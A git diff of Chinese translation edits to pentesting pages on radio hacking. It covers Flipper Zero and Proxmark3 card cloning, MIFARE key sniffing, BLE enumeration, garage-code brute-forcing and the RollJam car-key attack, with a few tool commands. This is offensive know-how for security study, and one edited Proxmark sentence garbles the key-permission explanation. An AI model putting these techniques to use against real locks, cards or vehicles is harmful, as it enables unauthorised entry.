 * [Lesson11: Wi-Fi工具](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md)
 
 ## 路线图
@@ -151,7 +151,7 @@ FISSURE附带了几本有用的指南，以帮助熟悉不同的技术和技巧
 
 ## 合作
 
-请联系Assured Information Security, Inc. (AIS)商业发展部，提出并正式化任何FISSURE合作机会——无论是通过投入时间集成您的软件，还是让AIS的优秀人才为您的技术挑战开发解决方案，或将FISSURE集成到其他平台/应用程序中。
+请联系Assured Information Security, Inc. (AIS)商业发展部门，提出并正式化任何FISSURE合作机会——无论是通过投入时间集成您的软件，还是让AIS的优秀人才为您的技术挑战开发解决方案，或将FISSURE集成到其他平台/应用程序中。
 
 ## 许可证
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
index 425e0c75b..464bc5c3c 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
@@ -2,7 +2,8 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Intro
+
+## 介绍
 
 有关125kHz标签工作原理的更多信息，请查看：
 
@@ -10,24 +11,24 @@
 ../pentesting-rfid.md
 {{#endref}}
 
-## Actions
+## 操作
 
 有关这些类型标签的更多信息 [**请阅读此介绍**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz)。
 
-### Read
+### 读取
 
 尝试**读取**卡片信息。然后可以**模拟**它们。
 
 > [!WARNING]
 > 请注意，一些对讲机试图通过在读取之前发送写入命令来保护自己免受密钥复制。如果写入成功，则该标签被视为假标签。当Flipper模拟RFID时，读卡器无法将其与原始标签区分开，因此不会出现此类问题。
 
-### Add Manually
+### 手动添加
 
 您可以在Flipper Zero中创建**指示您手动输入数据的假卡**，然后模拟它。
 
-#### IDs on cards
+#### 卡片上的ID
 
-有时，当您获得一张卡时，您会发现卡片上可见的ID（或部分ID）。
+有时，当您获得一张卡时，您会发现卡片上可见地写有ID（或部分ID）。
 
 - **EM Marin**
 
@@ -42,12 +43,13 @@
 
 <figure><img src="../../../images/image (1014).png" alt=""><figcaption></figcaption></figure>
 
-### Emulate/Write
+### 模拟/写入
 
 在**复制**一张卡或**手动输入**ID后，可以使用Flipper Zero**模拟**它或**写入**到真实卡片中。
 
-## References
+## 参考
 
 - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
 
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
index 4ae47ba20..586cfa18e 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
@@ -4,7 +4,7 @@
 
 ## 介绍
 
-有关 iButton 的更多信息，请查看：
+有关iButton的更多信息，请查看：
 
 {{#ref}}
 ../ibutton.md
@@ -12,7 +12,7 @@
 
 ## 设计
 
-下图的 **蓝色** 部分是您需要 **放置真实 iButton** 的位置，以便 Flipper 可以 **读取它。** **绿色** 部分是您需要用 Flipper zero **接触读卡器** 的方式，以 **正确模拟 iButton**。
+下图中的**蓝色**部分是您需要**放置真实iButton**的位置，以便Flipper可以**读取它。** **绿色**部分是您需要用Flipper Zero**接触读卡器**以**正确模拟iButton**的位置。
 
 <figure><img src="../../../images/image (565).png" alt=""><figcaption></figcaption></figure>
 
@@ -20,18 +20,18 @@
 
 ### 读取
 
-在读取模式下，Flipper 正在等待 iButton 密钥接触，并能够处理三种类型的密钥：**Dallas, Cyfral, 和 Metakom**。Flipper 将 **自动识别密钥类型**。密钥协议的名称将显示在 ID 号码上方的屏幕上。
+在读取模式下，Flipper等待iButton密钥接触，并能够处理三种类型的密钥：**Dallas, Cyfral, 和 Metakom**。Flipper将**自动识别密钥类型**。密钥协议的名称将显示在ID号码上方的屏幕上。
 
 ### 手动添加
 
-可以 **手动添加** 类型为：**Dallas, Cyfral, 和 Metakom** 的 iButton。
+可以**手动添加**类型为：**Dallas, Cyfral, 和 Metakom**的iButton。
 
 ### **模拟**
 
-可以 **模拟** 已保存的 iButtons（读取或手动添加）。
+可以**模拟**已保存的iButton（读取或手动添加）。
 
 > [!NOTE]
-> 如果您无法使 Flipper Zero 的预期接触点接触读卡器，您可以 **使用外部 GPIO：**
+> 如果您无法使Flipper Zero的预期接触点接触读卡器，您可以**使用外部GPIO：**
 
 <figure><img src="../../../images/image (138).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
index 132d22177..4d6fde2e5 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
@@ -14,9 +14,9 @@
 
 Flipper 使用数字 IR 信号接收器 TSOP，这 **允许拦截来自 IR 遥控器的信号**。有一些 **智能手机**，如小米，也有 IR 端口，但请记住，**大多数只能发送** 信号，**无法接收**。
 
-Flipper 的红外线 **接收器非常灵敏**。您甚至可以在 **遥控器和电视之间的某个地方** 捕捉信号。将遥控器直接指向 Flipper 的 IR 端口并不是必需的。当有人在电视旁边换频道时，这非常方便，而您和 Flipper 都在一定距离之外。
+Flipper 的红外线 **接收器非常灵敏**。您甚至可以在 **遥控器和电视之间的某个地方** 捕捉信号。将遥控器直接指向 Flipper 的 IR 端口并不是必需的。当有人在电视旁边换频道时，这非常方便，而您和 Flipper 之间有一定的距离。
 
-由于 **红外线信号的解码** 在 **软件** 端进行，Flipper Zero 潜在支持 **接收和发送任何 IR 遥控代码**。在 **未知** 协议无法识别的情况下，它 **记录并回放** 原始信号，完全按照接收到的方式。
+由于 **红外线信号的解码** 在 **软件** 端进行，Flipper Zero 潜在地支持 **接收和发送任何 IR 遥控代码**。在无法识别的 **未知** 协议的情况下，它 **记录并回放** 原始信号，完全按照接收到的方式。
 
 ## 操作
 
@@ -24,7 +24,7 @@ Flipper 的红外线 **接收器非常灵敏**。您甚至可以在 **遥控器
 
 Flipper Zero 可以用作 **通用遥控器来控制任何电视、空调或媒体中心**。在此模式下，Flipper **暴力破解** 所有支持制造商的 **已知代码**，**根据 SD 卡中的字典**。您无需选择特定的遥控器来关闭餐厅的电视。
 
-只需在通用遥控器模式下按下电源按钮，Flipper 将 **依次发送所有已知电视的“关机”** 命令：索尼、三星、松下……等等。当电视接收到信号时，它将做出反应并关闭。
+只需在通用遥控器模式下按下电源按钮，Flipper 将 **依次发送所有已知电视的“关闭电源”** 命令：索尼、三星、松下……等等。当电视接收到信号时，它将做出反应并关闭。
 
 这种暴力破解需要时间。字典越大，完成所需的时间就越长。无法确定电视确切识别了哪个信号，因为电视没有反馈。
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
index 53227b469..217f53a64 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-sub-ghz.md
@@ -33,9 +33,9 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
 ### Read
 
 > [!NOTE]
-> 查找使用的频率信息（也是查找使用的频率的另一种方法）
+> 查找使用的频率信息（也是查找使用频率的另一种方法）
 
-**读取**选项 **在配置的频率上监听**，默认调制为 433.92 AM。如果在读取时 **找到某些内容**，则 **屏幕上会提供信息**。这些信息可以用于将来复制信号。
+**读取**选项 **在配置的频率上监听**，默认调制为 433.92 AM。如果在读取时 **发现了某些内容**，则 **屏幕上会提供信息**。这些信息可以用于将来复制信号。
 
 在使用读取时，可以按 **左按钮** 并 **进行配置**。\
 此时它有 **4 种调制方式**（AM270、AM650、FM328 和 FM476），并存储了 **几个相关频率**：
@@ -88,7 +88,7 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
 
 查看 [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) 中的列表
 
-### 按区域支持的频率
+### 按地区支持的频率
 
 查看 [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) 中的列表
 
diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md
index 0033648ac..bef6c6ebc 100644
--- a/src/todo/radio-hacking/ibutton.md
+++ b/src/todo/radio-hacking/ibutton.md
@@ -10,7 +10,7 @@ iButton 是一种电子识别钥匙的通用名称，装在一个 **硬币形状
 
 ### 什么是 iButton？ <a href="#what-is-ibutton" id="what-is-ibutton"></a>
 
-通常，iButton 指的是钥匙和读卡器的物理形态 - 一个带有两个接触点的圆形硬币。围绕它的框架有很多变体，从最常见的带孔塑料支架到戒指、挂件等。
+通常，iButton 指的是钥匙和读卡器的物理形式 - 一个带有两个接触点的圆形硬币。围绕它的框架有很多变体，从最常见的带孔塑料支架到戒指、挂件等。
 
 <figure><img src="../../images/image (1078).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md
index b10c2a183..8fb87f3db 100644
--- a/src/todo/radio-hacking/infrared.md
+++ b/src/todo/radio-hacking/infrared.md
@@ -4,7 +4,7 @@
 
 ## 红外线的工作原理 <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
 
-**红外线对人类是不可见的**。红外线波长范围为**0.7到1000微米**。家用遥控器使用红外信号进行数据传输，工作波长范围为0.75..1.4微米。遥控器中的微控制器使红外LED以特定频率闪烁，将数字信号转换为红外信号。
+**红外光对人类是不可见的**。红外波长范围为**0.7到1000微米**。家用遥控器使用红外信号进行数据传输，工作波长范围为0.75..1.4微米。遥控器中的微控制器使红外LED以特定频率闪烁，将数字信号转换为红外信号。
 
 接收红外信号使用**光接收器**。它**将红外光转换为电压脉冲**，这些脉冲已经是**数字信号**。通常，接收器内部有一个**暗光滤波器**，只允许**所需波长通过**，并过滤掉噪声。
 
@@ -63,8 +63,8 @@ NEC **命令**除了前导码外，还由一个地址字节和一个命令编号
 
 ### 空调
 
-与其他遥控器不同，**空调不仅仅传输按下按钮的代码**。它们还**在按下按钮时传输所有信息**，以确保**空调和遥控器同步**。\
-这将避免将设置为20ºC的机器用一个遥控器增加到21ºC，然后当使用另一个仍然将温度设置为20ºC的遥控器进一步增加温度时，它会“增加”到21ºC（而不是22ºC，以为它在21ºC）。
+与其他遥控器不同，**空调不仅仅传输按下按钮的代码**。它们还**在按下按钮时传输所有信息**，以确保**空调机和遥控器同步**。\
+这将避免将设置为20ºC的机器用一个遥控器增加到21ºC，然后当另一个仍然将温度设置为20ºC的遥控器被用来进一步提高温度时，它会“增加”到21ºC（而不是22ºC，以为它在21ºC）。
 
 ### 攻击
 
diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
index c9f607016..c14352bfb 100644
--- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+++ b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
@@ -4,19 +4,19 @@
 
 ## 介绍
 
-自 Bluetooth 4.0 规范发布以来，BLE 仅使用 40 个频道，覆盖 2400 到 2483.5 MHz 的范围。相比之下，传统蓝牙在同一范围内使用 79 个频道。
+自 Bluetooth 4.0 规范发布以来，BLE 仅使用 40 个频道，覆盖 2400 到 2483.5 MHz 的范围。相比之下，传统蓝牙在相同范围内使用 79 个频道。
 
-BLE 设备通过发送 **advertising packets** (**beacons**) 进行通信，这些数据包向其他附近设备广播 BLE 设备的存在。这些信标有时也会 **send data**。
+BLE 设备通过发送 **advertising packets** (**beacons**) 进行通信，这些数据包向其他附近设备广播 BLE 设备的存在。这些信标有时也会 **发送数据**。
 
-监听设备，也称为中央设备，可以通过发送特定于广告设备的 **SCAN request** 来响应广告数据包。对该扫描的 **response** 使用与 **advertising** 数据包相同的结构，并包含无法在初始广告请求中容纳的附加信息，例如完整的设备名称。
+监听设备，也称为中央设备，可以通过向广告设备发送特定的 **SCAN request** 来响应广告数据包。对该扫描的 **response** 使用与 **advertising** 数据包相同的结构，并包含无法在初始广告请求中容纳的附加信息，例如完整的设备名称。
 
 ![](<../../images/image (152).png>)
 
-前导字节同步频率，而四字节访问地址是 **connection identifier**，用于多个设备尝试在同一频道上建立连接的场景。接下来，协议数据单元 (**PDU**) 包含 **advertising data**。有几种类型的 PDU；最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 **don’t accept connections**，则使用 **ADV_NONCONN_IND** PDU 类型，仅在广告数据包中传输数据。如果设备 **allow connections**，并且在 **connection** 建立后 **stop sending advertising** 数据包，则使用 **ADV_IND**。
+前导字节同步频率，而四字节访问地址是 **connection identifier**，用于多个设备尝试在同一频道上建立连接的场景。接下来，协议数据单元 (**PDU**) 包含 **advertising data**。PDU 有几种类型；最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 **不接受连接**，则使用 **ADV_NONCONN_IND** PDU 类型，仅在广告数据包中传输数据。如果设备 **允许连接**，并且在 **连接** 建立后 **停止发送广告** 数据包，则使用 **ADV_IND**。
 
 ### GATT
 
-**Generic Attribute Profile** (GATT) 定义了 **device should format and transfer data** 的方式。当您分析 BLE 设备的攻击面时，您通常会将注意力集中在 GATT（或 GATTs）上，因为它是 **device functionality gets triggered** 和数据存储、分组及修改的方式。GATT 以表格形式列出设备的特征、描述符和服务，值为 16 位或 32 位。**characteristic** 是在中央设备和外设之间 **sent** 的 **data** 值。这些特征可以具有 **descriptors**，以 **provide additional information about them**。如果 **Characteristics** 相关于执行特定操作，通常会在 **services** 中 **grouped**。 
+**Generic Attribute Profile** (GATT) 定义了 **设备应如何格式化和传输数据**。当您分析 BLE 设备的攻击面时，您通常会将注意力集中在 GATT（或 GATTs）上，因为它是 **设备功能触发** 和数据存储、分组及修改的方式。GATT 以 16 位或 32 位值的表格形式列出设备的特性、描述符和服务。**特性**是 **在中央设备和外设之间发送的** **数据** 值。这些特性可以具有 **描述符**，以 **提供有关它们的附加信息**。如果 **特性** 与执行特定操作相关，通常会在 **服务** 中 **分组**。 
 
 ## Enumeration
 ```bash
@@ -30,7 +30,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** 允许与另一个设备 **建立** **连接**，列出该设备的 **特性**，并读取和写入其属性。\
+**GATTool** 允许 **建立** 与另一个设备的 **连接**，列出该设备的 **特征**，并读取和写入其属性。\
 GATTTool 可以使用 `-I` 选项启动交互式 shell：
 ```bash
 gatttool -i hci0 -I
diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md
index d4f62912b..3e49c0a76 100644
--- a/src/todo/radio-hacking/pentesting-rfid.md
+++ b/src/todo/radio-hacking/pentesting-rfid.md
@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 介绍
+## Introduction
 
 **射频识别 (RFID)** 是最流行的短距离无线解决方案。它通常用于存储和传输识别实体的信息。
 
 RFID 标签可以依赖于 **自身电源 (主动)**，例如嵌入式电池，或通过读取天线接收来自接收无线电波的电流 **（被动）**。
 
-### 类别
+### Classes
 
 EPCglobal 将 RFID 标签分为六类。每个类别中的标签都具备前一类别中列出的所有功能，从而实现向后兼容。
 
@@ -19,23 +19,23 @@ EPCglobal 将 RFID 标签分为六类。每个类别中的标签都具备前一
 - **Class 4** 标签可以与同类的其他标签发起通信，使其成为 **主动标签**。
 - **Class 5** 标签可以为其他标签提供 **电源并与所有先前的标签** 类别进行通信。Class 5 标签可以充当 **RFID 读取器**。
 
-### RFID 标签中存储的信息
+### Information Stored in RFID Tags
 
-RFID 标签的内存通常存储四种数据：**识别数据**，用于 **识别** 标签所附着的 **实体**（这些数据包括用户定义的字段，例如银行账户）；**补充数据**，提供有关实体的 **进一步** **细节**；**控制数据**，用于标签的内部 **配置**；以及标签的 **制造商数据**，其中包含标签的唯一标识符 (**UID**) 以及有关标签的 **生产**、**类型** 和 **供应商** 的详细信息。您将在所有商业标签中找到前两种数据；最后两种数据可能会根据标签的供应商而有所不同。
+RFID 标签的内存通常存储四种数据：**识别数据**，用于 **识别** 标签所附着的 **实体**（这些数据包括用户定义的字段，例如银行账户）；**补充数据**，提供有关实体的 **进一步** **细节**；**控制数据**，用于标签的内部 **配置**；以及标签的 **制造商数据**，其中包含标签的唯一标识符 (**UID**) 以及有关标签的 **生产**、**类型** 和 **供应商** 的详细信息。您会在所有商业标签中找到前两种数据；最后两种数据可能会根据标签的供应商而有所不同。
 
 ISO 标准指定了应用程序系列标识符 (**AFI**) 值，这是一个指示标签所属 **对象类型** 的代码。另一个由 ISO 指定的重要寄存器是数据存储格式标识符 (**DSFID**)，它定义了 **用户数据的逻辑组织**。
 
 大多数 RFID **安全控制** 具有机制，**限制** 每个用户内存块以及包含 AFI 和 DSFID 值的特殊寄存器上的 **读取** 或 **写入** 操作。这些 **锁定** **机制** 使用存储在控制内存中的数据，并具有供应商预配置的 **默认密码**，但允许标签所有者 **配置自定义密码**。
 
-### 低频与高频标签比较
+### Low & High frequency tags comparison
 
 <figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
 
-## 低频 RFID 标签 (125kHz)
+## Low-Frequency RFID Tags (125kHz)
 
 **低频标签** 通常用于 **不需要高安全性** 的系统：建筑物访问、对讲机钥匙、健身会员卡等。由于其较高的范围，它们在付费停车时使用方便：司机无需将卡靠近读取器，因为它可以在更远的地方触发。同时，低频标签非常原始，数据传输速率低。因此，无法实现复杂的双向数据传输，例如保持余额和加密。低频标签仅传输其短 ID，而没有任何身份验证手段。
 
-这些设备依赖于 **被动** **RFID** 技术，工作在 **30 kHz 到 300 kHz** 的范围内，尽管通常使用 125 kHz 到 134 kHz：
+这些设备依赖于 **被动** **RFID** 技术，工作在 **30 kHz 到 300 kHz** 的范围内，尽管更常用的是 125 kHz 到 134 kHz：
 
 - **长距离** — 较低的频率意味着更高的范围。有一些 EM-Marin 和 HID 读取器，可以在距离达一米的地方工作。这些通常用于停车场。
 - **原始协议** — 由于数据传输速率低，这些标签只能传输其短 ID。在大多数情况下，数据没有经过身份验证，也没有以任何方式受到保护。只要卡在读取器的范围内，它就会开始传输其 ID。
@@ -43,13 +43,13 @@ ISO 标准指定了应用程序系列标识符 (**AFI**) 值，这是一个指
 
 **流行的 125 kHz 协议：**
 
-- **EM-Marin** — EM4100, EM4102。CIS 中最流行的协议。由于其简单性和稳定性，可以在约一米的距离内读取。
+- **EM-Marin** — EM4100，EM4102。CIS 中最流行的协议。由于其简单性和稳定性，可以在约一米的距离内读取。
 - **HID Prox II** — HID Global 引入的低频协议。该协议在西方国家更为流行。它更复杂，且该协议的卡和读取器相对昂贵。
 - **Indala** — 由摩托罗拉引入的非常古老的低频协议，后来被 HID 收购。与前两者相比，您在野外遇到它的可能性较小，因为它正在逐渐被淘汰。
 
 实际上，还有更多低频协议。但它们都在物理层上使用相同的调制方式，可以被视为上述协议的某种变体。
 
-### 攻击
+### Attack
 
 您可以 **使用 Flipper Zero 攻击这些标签**：
 
@@ -57,16 +57,16 @@ ISO 标准指定了应用程序系列标识符 (**AFI**) 值，这是一个指
 flipper-zero/fz-125khz-rfid.md
 {{#endref}}
 
-## 高频 RFID 标签 (13.56 MHz)
+## High-Frequency RFID Tags (13.56 MHz)
 
 **高频标签** 用于更复杂的读取器-标签交互，当您需要加密、大量双向数据传输、身份验证等时。\
 它通常出现在银行卡、公共交通和其他安全通行证中。
 
-**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)，但这并不总是正确。物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准（如 ISO 19092）基于此。许多人将此技术称为 **近场通信 (NFC)**，这是指在 13.56 MHz 频率上运行的设备。
+**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)，但这并不总是正确。物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准（如 ISO 19092）基于此。许多人将此技术称为 **近场通信 (NFC)**，这是一个用于在 13.56 MHz 频率上运行的设备的术语。
 
 <figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
 
-简单来说，NFC 的架构是这样的：传输协议由制造卡片的公司选择，并基于低级 ISO 14443 实施。例如，NXP 发明了自己的高级传输协议，称为 Mifare。但在较低层面上，Mifare 卡基于 ISO 14443-A 标准。
+简单来说，NFC 的架构是这样的：传输协议由制造卡片的公司选择，并基于低级 ISO 14443 实现。例如，NXP 发明了自己的高级传输协议，称为 Mifare。但在较低层面上，Mifare 卡是基于 ISO 14443-A 标准的。
 
 Flipper 可以与低级 ISO 14443 协议以及 Mifare Ultralight 数据传输协议和用于银行卡的 EMV 进行交互。我们正在努力添加对 Mifare Classic 和 NFC NDEF 的支持。深入研究构成 NFC 的协议和标准值得单独撰写一篇文章，我们计划稍后发布。
 
@@ -74,11 +74,11 @@ Flipper 可以与低级 ISO 14443 协议以及 Mifare Ultralight 数据传输协
 
 有许多访问控制系统依赖 UID 来 **进行身份验证和授予访问**。有时即使 RFID 标签 **支持加密**，这也会发生。这种 **误用** 使它们在 **安全性** 上降至愚蠢的 **125 kHz 卡** 的水平。虚拟卡（如 Apple Pay）使用动态 UID，以便手机用户不会用他们的支付应用打开门。
 
-- **低范围** — 高频卡专门设计为必须靠近读取器放置。这也有助于保护卡免受未经授权的交互。我们所能达到的最大读取范围约为 15 厘米，而那是使用定制的高范围读取器。
+- **低范围** — 高频卡专门设计为必须靠近读取器放置。这也有助于保护卡免受未经授权的交互。我们所能达到的最大读取范围约为 15 厘米，而这还是使用定制的高范围读取器。
 - **高级协议** — 数据传输速度高达 424 kbps，允许复杂的协议进行完整的双向数据传输。这反过来 **允许加密**、数据传输等。
 - **高安全性** — 高频非接触卡在任何方面都不逊色于智能卡。有些卡支持强加密算法，如 AES，并实现非对称加密。
 
-### 攻击
+### Attack
 
 您可以 **使用 Flipper Zero 攻击这些标签**：
 
@@ -92,7 +92,7 @@ flipper-zero/fz-nfc.md
 proxmark-3.md
 {{#endref}}
 
-## 参考
+## References
 
 - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
 
diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md
index f129e9a3d..0c034cbde 100644
--- a/src/todo/radio-hacking/proxmark-3.md
+++ b/src/todo/radio-hacking/proxmark-3.md
@@ -10,7 +10,7 @@
 
 它有 **16 个扇区**，每个扇区有 **4 个块**，每个块包含 **16B**。UID 位于扇区 0 块 0（无法更改）。\
 要访问每个扇区，您需要 **2 个密钥**（**A** 和 **B**），这些密钥存储在 **每个扇区的块 3**（扇区尾部）。扇区尾部还存储 **访问位**，这些位使用 2 个密钥提供 **每个块的读写**权限。\
-2 个密钥可以用于提供读取权限，如果您知道第一个密钥，则可以读取；如果您知道第二个密钥，则可以写入（例如）。
+2 个密钥可以用于提供读取权限，如果您知道第一个密钥，则可以写入权限，如果您知道第二个密钥（例如）。
 
 可以执行多种攻击
 ```bash
@@ -31,7 +31,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
 proxmark3> hf mf eget 01 # Read block 1
 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
 ```
-Proxmark3 允许执行其他操作，例如 **窃听** 标签与读卡器之间的通信，以尝试找到敏感数据。在这张卡中，您可以仅仅嗅探通信并计算所使用的密钥，因为 **使用的加密操作很弱**，并且知道明文和密文后，您可以计算它（`mfkey64` 工具）。
+Proxmark3 允许执行其他操作，例如 **窃听** **标签与读卡器之间的通信**，以尝试找到敏感数据。在这张卡中，您可以仅仅嗅探通信并计算所使用的密钥，因为 **所使用的加密操作很弱**，并且知道明文和密文后，您可以计算它（`mfkey64` 工具）。
 
 ### 原始命令
 
@@ -49,7 +49,7 @@ Valid ISO14443A Tag Found - Quiting Search
 
 ### 脚本
 
-Proxmark3 软件附带了一份预加载的 **自动化脚本** 列表，您可以使用这些脚本来执行简单任务。要检索完整列表，请使用 `script list` 命令。接下来，使用 `script run` 命令，后跟脚本的名称：
+Proxmark3 软件附带了一份预加载的 **自动化脚本** 列表，您可以使用这些脚本来执行简单任务。要检索完整列表，请使用 `script list` 命令。接下来，使用 `script run` 命令，后跟脚本名称：
 ```
 proxmark3> script run mfkeys
 ```
diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md
index e901242fe..f8adccda4 100644
--- a/src/todo/radio-hacking/sub-ghz-rf.md
+++ b/src/todo/radio-hacking/sub-ghz-rf.md
@@ -8,18 +8,18 @@
 
 ## Car Doors
 
-大多数汽车钥匙遥控器在**315 MHz或433 MHz**上工作。这两者都是无线电频率，应用于多种不同的场合。这两种频率之间的主要区别是433 MHz的范围比315 MHz更长。这意味着433 MHz更适合需要更长范围的应用，例如远程无钥匙进入。\
+大多数汽车钥匙遥控器工作在**315 MHz或433 MHz**。这两者都是无线电频率，广泛用于不同的应用。两个频率之间的主要区别是433 MHz的范围比315 MHz更长。这意味着433 MHz更适合需要更长范围的应用，例如远程无钥匙进入。\
 在欧洲，433.92MHz是常用的，而在美国和日本则是315MHz。
 
 ## **Brute-force Attack**
 
 <figure><img src="../../images/image (1084).png" alt=""><figcaption></figcaption></figure>
 
-如果不将每个代码发送5次（这样发送是为了确保接收器接收到），而只发送一次，时间将减少到6分钟：
+如果不发送每个代码5次（这样发送是为了确保接收器能接收到），而只发送一次，时间将减少到6分钟：
 
 <figure><img src="../../images/image (622).png" alt=""><figcaption></figcaption></figure>
 
-如果**去掉信号之间的2毫秒等待**时间，你可以**将时间减少到3分钟。**
+如果你**去掉信号之间的2毫秒等待**时间，你可以**将时间减少到3分钟。**
 
 此外，通过使用De Bruijn序列（减少发送所有潜在二进制数字所需的位数的方法），这个**时间仅减少到8秒**：
 
@@ -43,7 +43,7 @@ flipper-zero/fz-sub-ghz.md
 
 有人可以使用称为代码抓取器的设备来拦截RF信号并记录以备后用。这被称为**重放攻击**。为了防止这种攻击，许多现代车库门开启器使用一种更安全的加密方法，称为**滚动代码**系统。
 
-**RF信号通常使用滚动代码传输**，这意味着每次使用时代码都会变化。这使得**拦截**信号并**利用**它获得**未授权**访问车库变得**困难**。
+**RF信号通常使用滚动代码传输**，这意味着每次使用时代码都会变化。这使得**拦截**信号并**使用**它来获得**未授权**访问车库变得**困难**。
 
 在滚动代码系统中，遥控器和车库门开启器有一个**共享算法**，每次使用遥控器时**生成一个新代码**。车库门开启器只会对**正确代码**做出响应，这使得仅通过捕获代码就获得未授权访问车库变得更加困难。
 
@@ -63,9 +63,9 @@ flipper-zero/fz-sub-ghz.md
 ### **Code Grabbing Attack ( aka ‘RollJam’ )**
 
 这是一种更**隐蔽的干扰技术**。攻击者将干扰信号，因此当受害者尝试锁门时将无法工作，但攻击者会**记录此代码**。然后，受害者将**再次尝试锁定汽车**，按下按钮，汽车将**记录第二个代码**。\
-紧接着，**攻击者可以发送第一个代码**，汽车将**锁定**（受害者会认为第二次按下锁定了）。然后，攻击者将能够**发送第二个被盗代码以打开**汽车（假设**“关车”代码也可以用于打开它**）。可能需要更改频率（因为有些汽车使用相同的代码来打开和关闭，但在不同频率下监听两个命令）。
+紧接着，**攻击者可以发送第一个代码**，然后**汽车将锁定**（受害者会认为第二次按下锁定了）。然后，攻击者将能够**发送第二个被盗代码以打开**汽车（假设**“关车”代码也可以用于打开它**）。可能需要更改频率（因为有些汽车使用相同的代码来打开和关闭，但在不同频率下监听两个命令）。
 
-攻击者可以**干扰汽车接收器而不是他的接收器**，因为如果汽车接收器在例如1MHz宽带中监听，攻击者不会**干扰**遥控器使用的确切频率，而是**在该频谱中的一个接近频率**，而**攻击者的接收器将监听一个更小的范围**，在没有干扰信号的情况下监听遥控器信号。
+攻击者可以**干扰汽车接收器而不是他的接收器**，因为如果汽车接收器在例如1MHz宽带中监听，攻击者不会**干扰**遥控器使用的确切频率，而是**在该频谱中的一个接近频率**，同时**攻击者的接收器将在更小的范围内监听**，他可以在**没有干扰信号**的情况下监听遥控器信号。
 
 > [!WARNING]
 > 其他实施方案在规格中显示，**滚动代码是发送的总代码的一部分**。即发送的代码是一个**24位密钥**，其中前**12位是滚动代码**，**第二个8位是命令**（如锁定或解锁），最后4位是**校验和**。实施这种类型的车辆也自然容易受到攻击，因为攻击者只需替换滚动代码段即可在两个频率上**使用任何滚动代码**。
diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md
index cdec8f62e..3973dd2e6 100644
--- a/src/todo/rust-basics.md
+++ b/src/todo/rust-basics.md
@@ -30,7 +30,7 @@ Some(T),
 
 ### 宏
 
-宏比函数更强大，因为它们扩展以生成比您手动编写的代码更多的代码。例如，函数签名必须声明函数的参数数量和类型。另一方面，宏可以接受可变数量的参数：我们可以用一个参数调用 `println!("hello")`，或用两个参数调用 `println!("hello {}", name)`。此外，宏在编译器解释代码含义之前被扩展，因此宏可以在给定类型上实现一个 trait。例如，函数不能这样做，因为它在运行时被调用，而 trait 需要在编译时实现。
